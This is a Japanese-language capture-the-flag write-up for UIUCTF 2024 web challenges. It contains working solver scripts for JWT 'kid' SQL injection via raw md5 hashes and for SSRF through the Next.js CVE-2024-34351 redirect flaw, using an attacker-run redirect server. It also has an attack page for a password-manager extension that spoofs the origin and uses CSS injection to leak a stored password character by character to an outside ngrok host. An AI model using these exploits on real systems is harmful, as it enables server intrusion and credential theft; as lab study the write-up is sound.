😘

UIUCTF Web Writeup

2024/07/02に公開

脆弱エンジニアチームでUIUCTF参加してきました

結果は76位。Webは4問中2問と残念な結果になってしまいました。が、OSINTやらCryptoでキャリーしてもらったのでチームとしての結果はよかったのではないでしょうか。

初のKali Linuxでの参戦だったので、それで手間取った部分ありました。

Fare Evasion (370点、クリア率18%)

珍しくソースコードが公開されていない問題。「I'm Passenger」のボタンを押すと/payにリクエストが送られて、

Sorry passenger, only conductors are allowed right now. Please sign your own tickets.
hashed RòsÜxÉÄÅ´\ä secret: a_boring_passenger_signing_key?

という結果が帰ってくる。ソースコードを見てみると、

async function pay() {
    // i could not get sqlite to work on the frontend :(
    /*
    db.each(`SELECT * FROM keys WHERE kid = '${md5(headerKid)}'`, (err, row) => {
    ???????
    */
    ...

というコメントが書いてあり、ここでSQLインジェクションの問題かな、と推測できる。

また、Cookieを見てみると、JWTっぽいトークンがあるので解読してみると、

/payへのリクエストの結果から読み取れるa_boring_passenger_signing_key_?のシークレットを使って認証することができた。また、ヘッダにkidというフィールドがあるが、これは鍵が複数ある場合の管理方法だそう。

ソースコードがないのでとりあえず実験

  • JWT none攻撃 - アルゴリズムはHS256固定みたい

  • kidを適当な文字列に変更してみると、

    Sorry passenger, only conductors are allowed right now. Please sign your own tickets.

    の文字列だけ帰ってきて、hashやsecretの情報が帰って来ない。問題文からエスパーしてconductor_keyに変えても同様。

  • kidを空欄すると、

    You lost your kid on the train!

  • Secretを違うものにすると

    Key isn't passenger or conductor. Please sign your own tickets. \nhashed RòsÜxÉÄÅ´\ä secret: a_boring_passenger_signing_key?

以上から、どうやら例のSQLのコードは毎回実行されていて、kid = '${md5(headerKid)}'を満たす行が存在する場合はメッセージに追記されるようだ。

また、hashedの値が文字化けしているようだが、ソースコードに

// todo: convert md5 to hex string instead of latin1??

とあるのでmd5をlatin1に変換したものが保存されているっぽい。試しに、そのとおりに解読してみると、

import requests
import hashlib
URL = "https://fare-evasion.chal.uiuc.tf/"

s = requests.session()

s.get(URL)
r = s.post(URL + "pay")
message = r.json()["message"]
splitted = message.split(" ")
md5 = splitted[14].encode('latin1').hex()
print(md5)
print(hashlib.md5("passenger_key".encode("utf-8")).hexdigest())
5f0852f21e73dc78c9c402c5b4125ce4
5f0852f21e73dc78c9c402c5b4125ce4

passenger_keyのハッシュであることがわかる。

以上までの観察より、md5でハッシュ化したkidの値でSQLiしてすべての値を取得する を目指す。
利用しているSQLはsqliteで有ることが書かれているので、playgroundとかで実験してみると、'\s*OR\s*'0*\.?0*[1-9] (ignore case)でマッチすれば良いことがわかった。したがって、以下のコードで探索してみる

import hashlib
import itertools
import string
import re

charset = string.printable[:-3]
m = re.compile(r"'\s*OR\s*'0*\.?0*[1-9]", re.IGNORECASE)

for x in charset[1:]:
    print(x) # 途中で終了しても再開できるように
    for comb in itertools.product(charset, repeat=4):
        candidate = x + ''.join(c for c in comb)
        md5 = hashlib.md5(candidate.encode()).digest()
        hash_value = md5.decode('latin1')
        if re.search(m, hash_value):
            print(f"{md5} ({candidate})"

結果: QS+02

これを利用して以下ソルバーを作成した

import requests
import jwt

URL = "https://fare-evasion.chal.uiuc.tf/"


secret = ""


s = requests.session()

kid = "QS+02"
token = jwt.encode({}, secret, algorithm="HS256", headers={"kid": kid, "alg": "HS256", "typ": "JWT"})

s.cookies["access_token"] = token

r = s.post(URL + "pay")
print(r.json())
header = jwt.get_unverified_header(s.cookies["access_token"])
print(header)
print(jwt.decode(s.cookies["access_token"], secret, algorithms="HS256"))

secret: conductor_key_873affdf8cc36a592ec790fc62973d55f4bf43b321bf1ccc0514063370356d5cddb4363b4786fd072d36a25e0ab60a78b8df01bd396c7a05cccbbb3733ae3f8e

が判明するので、上記のコードのsecretを書き換えると、

'Conductor override success. uiuctf{sigpwny_does_not_condone_turnstile_hopping!}'

条件を満たすkidを探すのに結構時間がかかった(計算量てきに)、どうやら結構あるある問題らしく、専用のツールもあるし、なんなら答えの一つがREADMEに書いてある。

Log Action (431点、クリア率11%)

javascriptのSSRフレームワークnextjsの脆弱性に関する問題。バージョン14.1.0には、SSRFにかんする脆弱性(CVE-2024-34351)があるので、それを利用する。解説記事 通りにやれば大丈夫でした。

解説記事によれば、/から始まるパスへのリダイレクトを利用する必要があるとのこと。該当箇所で使いやすそうなのは以下の箇所

frontend/app/logout/page.tsx
export default function Page() {
  return (
    ...
      <form
        action={async () => {
          "use server";
          await signOut({ redirect: false });
          redirect("/login");
        }}
      >
    ...
}

ブラウザでログアウトボタンを押したときのリクエストをChromeの開発者ツールのネットワークタブから右クリック→Copy→Copy as cURLで全く同じcurlコマンドを取得できる。実験しやすいように、curlコンバーターを利用して、コードを生成した。以下は再現に必要な最低限に削ったもの(そうする必要はないけど、記事向けに)

import requests

URL = "http://log-action.challenge.uiuc.tf/"

headers = {
    'Next-Action': 'c3a144622dd5b5046f1ccb6007fea3f3710057de',
}

files = {
    '1_$ACTION_ID_c3a144622dd5b5046f1ccb6007fea3f3710057de': (None, ''),
    '0': (None, '["$K1"]'),
}

response = requests.post(URL + 'logout', headers=headers, files=files)
print(response.text)

結果

2:I[7831,[],""]
3:I[5585,["626","static/chunks/app/login/page-233f6e9b142ed0ae.js"],""]
4:I[5613,[],""]
5:I[1778,[],""]
0:["BNdXuWkGU-RTnbKraxuIr",[[["",{"children":["login",{"children":["__PAGE__",{}]}]},"$undefined","$undefined",true],["",{"children":["login",{"children":["__PAGE__",{},["$L1",["$","$L2",null,{"propsForComponent":{"params":{}},"Component":"$3","isStaticGeneration":true}],null]]},["$","$L4",null,{"parallelRouterKey":"children","segmentPath":["children","login","children"],"loading":"$undefined","loadingStyles":"$undefined","loadingScripts":"$undefined","hasLoading":false,"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L5",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":"$undefined","notFoundStyles":"$undefined","styles":null}]]},[null,["$","html",null,{"lang":"en","children":["$","body",null,{"children":["$","$L4",null,{"parallelRouterKey":"children","segmentPath":["children"],"loading":"$undefined","loadingStyles":"$undefined","loadingScripts":"$undefined","hasLoading":false,"error":"$undefined","errorStyles":"$undefined","errorScripts":"$undefined","template":["$","$L5",null,{}],"templateStyles":"$undefined","templateScripts":"$undefined","notFound":[["$","title",null,{"children":"404: This page could not be found."}],["$","div",null,{"style":{"fontFamily":"system-ui,\"Segoe UI\",Roboto,Helvetica,Arial,sans-serif,\"Apple Color Emoji\",\"Segoe UI Emoji\"","height":"100vh","textAlign":"center","display":"flex","flexDirection":"column","alignItems":"center","justifyContent":"center"},"children":["$","div",null,{"children":[["$","style",null,{"dangerouslySetInnerHTML":{"__html":"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}"}}],["$","h1",null,{"className":"next-error-h1","style":{"display":"inline-block","margin":"0 20px 0 0","padding":"0 23px 0 0","fontSize":24,"fontWeight":500,"verticalAlign":"top","lineHeight":"49px"},"children":"404"}],["$","div",null,{"style":{"display":"inline-block"},"children":["$","h2",null,{"style":{"fontSize":14,"fontWeight":400,"lineHeight":"49px","margin":0},"children":"This page could not be found."}]}]]}]}]],"notFoundStyles":[],"styles":null}]}]}],null]],[[["$","link","0",{"rel":"stylesheet","href":"/_next/static/css/113443fcfe40379c.css","precedence":"next","crossOrigin":""}]],"$L6"]]]]
6:[["$","meta","0",{"name":"viewport","content":"width=device-width, initial-scale=1"}],["$","meta","1",{"charSet":"utf-8"}]]
1:null

ここで、ヘッダーのHostとOriginを任意のサイトにすることで、その箇所にリクエストを飛ばせる。実際に、pythonのhttp.serverを立ててリクエストを飛ばしてみると、

HEAD /login HTTP/1.1" 404

無事リクエストは飛んでいるようだが、HEADリクエストになっているし、内容は帰ってきていない。解説記事を読み直してみると、ヘッダーにContent-Type: text/x-componentが含まれると、同じURLにGETリクエストしてくれるみたいだ。

したがって、以下のようなサーバーを立てた。GETされたときにhttp://backend/flag.txtにリダイレクトするようにして、flag.txtの内容を取得した

server.py
from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_HEAD(self):
        self.send_response(302)
        self.send_header('Content-Type', 'text/x-component')
        self.end_headers()

    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://backend/flag.txt')
        self.end_headers()



def run(server_class=HTTPServer, handler_class=RedirectHandler, addr="localhost", port=9911):
    server_address = (addr, port)
    httpd = server_class(server_address, handler_class)
    print(f"Starting HTTP server on {addr}:{port}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()
solver.py

import requests

REMOTE = "xxx.ngrok.app"
URL = "http://log-action.challenge.uiuc.tf/"

headers = {
    'Next-Action': 'c3a144622dd5b5046f1ccb6007fea3f3710057de',
    'Origin': f'https://{REMOTE}',
    'Host': REMOTE,
}

files = {
    '1_$ACTION_ID_c3a144622dd5b5046f1ccb6007fea3f3710057de': (None, ''),
    '0': (None, '["$K1"]'),
}

response = requests.post(URL + 'logout', headers=headers, files=files)
print(response.text)

Install Docker (-5兆点、事前にやっとけ)

Kali linuxでsudo apt install dockerすると、とても古いバージョンしか手に入らず、バイナリから入れました。しかも、dpkgの設定が変になっちゃって、その後も大変でした。

まとめ

revにつよい友人がいろいろ教えてくれながら問題解くところをみてたんですけど、無知の知を取得するに留まりました。revもpwnも強くなりたいtchenでした。

チームメイト功績を讃えよう!

kariihoさんのOSINT writeup
アススーン・オライオンさんの writeup 作成中

追記: pwnypass

解けなかったんですが、解説みて正直解けたなって結構後悔してます。Chrome Extensionという知らない要素と点数にビビりすぎました。悔しいので手を動かして解きました。

パスワード管理のChrome Extensionを利用しているユーザーがアクセスすると、パスワードを抜き出せてしまうようなWebページを作成する問題。netcatでURLを指定すると、botが以下の動作をしてくれる。

    const browser = await puppeteer.launch(puppeter_args);
    let page = await browser.newPage();
    await page.goto('https://pwnypass.c.hc.lc/login.php', {waitUntil: 'networkidle2'});
    await new Promise((res)=>setTimeout(res, 500));
    await page.type('input[name="username"]', 'sigpwny');
    await page.type('input[name="password"]', FLAG1);
    await page.click('body');
    await new Promise((res)=>setTimeout(res, 500));
    await page.click('input[type="submit"]');
    await new Promise((res)=>setTimeout(res, 500));
    await page.close();
    page = await browser.newPage();
    socket.write(`Loading page ${url}.\n`);


    socket.write(`Loading page ${url}.\n`);
    setTimeout(()=>{
      try {
        browser.close();
        fs.rmSync(tmpDir, { recursive: true, force: true });
        socket.write('timeout\n');
        socket.destroy();
      } catch (err) {
        console.log(`err: ${err}`);
      }
    }, BOT_TIMEOUT);
    await page.goto(url);

パスワードアプリは、input[type=password]のような要素があると、その下にiframeでUIを追加する。UIは以下のコードで生成される。

autofill.js
async function main() {
    ...
    let output = "";
    for (let cred of creds) {
        output += `
        <div class="entry">
        <div data-username="${cred.username}" class="user">${cred.username}</div>
        <div data-password="${cred.password}" class="pass">${cred.password}</div>
        </div><hr>`;
    }
    output = `<div>${output}</div>`;
    
    window.content.innerHTML = output;
}

cred.usernamecred.passwordでHTMLを埋め込むことが可能なことがわかる。ただし、CSPが

manifest.json
  "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'none';",

となっており、scriptタグやimgタグによるインラインコードの埋め込みは不可能。

さらに、保存したパスワードにはoriginの情報が書き込まれており、同一originからしか保存・取得できないようになっている。botはhttps://pwnypass.c.hc.lc/login.phpにパスワードを書き込んでいるので、originを偽装しなければならない。

originの偽装

ここで、軽くChrome extensionのコードがどのように動いているか解説すると、常時動いているbackground.jsと対象のページが開かれたときのみに起動するcontent.jsがある。(これらの設定はmanifest.jsonに記載されている。)これらは、chrome.runtime.onMessage.addListenerchrome.runtime.sendMessageによってコミュニケーションをとっているが、これらにWebページからはアクセスできない。また、パスワードの保存はchrome.storageを利用しているが、これも同様にアクセスできない。つまり、どちらのコードにも直接アクセスすることはできず、originの偽装はコードのバグを利用するしかない。

originを取得している箇所は以下の通り

background.js
const getOrigin = async (id) => new Promise((res)=>chrome.tabs.get(id, (t)=>setTimeout(()=>res(new URL(t.pendingUrl ?? t.url).origin),200)));

注目するべきは、pendingUrlが存在する場合はurlよりも優先されるという点。ページを移行している最中はそのページとして扱われる。したがって、

  1. ページの移動を始める
  2. パスワードの保存を始める
  3. ページの移動をやめる
    とすると、ページの移動をせずにoriginを偽装できる。

以下は、originを偽装するサンプルコード。

sample.html
    const sleep = (t) => new Promise((r) => setTimeout(r, t));
    const fakeURL = 'https://pwnypass.c.hc.lc/login.php';

    window.addEventListener("load", async () => {
        await sleep(500);
        const $u = document.querySelector("input[type='text']");
        const $p = document.querySelector("input[type='password']");
        $u.value = 'injection';
        $p.value = "test";
        await sleep(200);

        window.location.assign(fakeURL);
        $u.dispatchEvent(new Event("change"));
        await sleep(25);
        window.stop()

        await sleep(500);

        window.location.assign(fakeURL);
        $p.form.dispatchEvent(new Event("submit"));
        await sleep(25);
        window.stop()
    })

これによって、データを取得したいページにパスワードを書き込む=HTMLを埋め込む準備ができた。(大会中はここまでできた)

CSS Injection

いやぁ、知ってはいたけど思いつかなかったなぁ。スレッドで単語を見ただけで頭を抱えました。

CSSのセレクタには、タグのアトリビュートの値に先頭一致させることができるものがある。アトリビュートdata-passwordabcからはじまる要素のみに一致させるには、

[data-password^='abc'] {
    ...
}

また、background-imageにurlを指定すると、適用される要素が存在するときのみその画像を読み込む。これを利用して、

[data-password^='a']{ background: url(https://xxx.ngrok.app/x.css/?c=a) }
[data-password^='b']{ background: url(https://xxx.ngrok.app/x.css/?c=b) }
[data-password^='c']{ background: url(https://xxx.ngrok.app/x.css/?c=c) }
 ...

のようなCSSを埋め込むと、data-passwordの値がなにから始まるかわかる。これを繰り返すことによって、data-passwordの値をすべて特定することができる。

以下のようなWebサーバーを立ち上げて、これらのCSS Injectionを実行した。

server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib
from os import curdir


known = "uiuctf{"

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        global known
        parsed = urllib.parse.urlparse(self.path)
        query = urllib.parse.parse_qs(parsed.query)
        if parsed.path == "/":
            if len(query) == 0:
                self.send_response(302)
                self.send_header('Location', f'/?known={known}')
                self.end_headers()
                return
            f = open("index.html", 'rb')
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f.read())
            return
        
        if "c" in query and len(query["c"][0]) > len(known):
            known = query["c"][0]
        self.send_response(404)
        self.end_headers()



def run(server_class=HTTPServer, handler_class=RedirectHandler, addr="localhost", port=9911):
    server_address = (addr, port)
    httpd = server_class(server_address, handler_class)
    print(f"Starting HTTP server on {addr}:{port}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()
index.html
<html>
    <head>
        <script>
            const sleep = (t) => new Promise((r) => setTimeout(r, t));
            const fakeURL = 'https://pwnypass.c.hc.lc/login.php';
            const knownFlag = new URLSearchParams(window.location.search).get("known");
            const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_&-"

            function createStyle() {
                return letters.split("")
                    .map(c => `[data-password^='${knownFlag + c}']{ background: url(https://xxx.ngrok.app/c.css/?c=${knownFlag + c}) }`)
                    .join("\n")
            }

            window.addEventListener("load", async () => {
                await sleep(500);
                const $u = document.querySelector("input[type='text']");
                const $p = document.querySelector("input[type='password']");
                $u.value = `"\>\<style\>${createStyle()}\</style\>`;
                $p.value = "test";
                await sleep(200);

                window.location.assign(fakeURL);
                $u.dispatchEvent(new Event("change"));
                await sleep(25);
                window.stop()

                await sleep(500);

                window.location.assign(fakeURL);
                $p.form.dispatchEvent(new Event("submit"));
                await sleep(25);
                window.stop()

                const win = window.open(fakeURL);
                await sleep(2500);
                win.close();
                window.location.assign("/")
            })
        </script>
    </head>
    <body>
        <form method="POST">
            <input name="username" type="text" style="width: 45%">
            <input name="password" type="password" style="width: 45%">
            <input name="submit" type="submit">
        </form>
    </body>
</html>

うん、くやしい。pawnypass 2はwriteupさえまだなので、わかったらまた手を動かします。

Discussion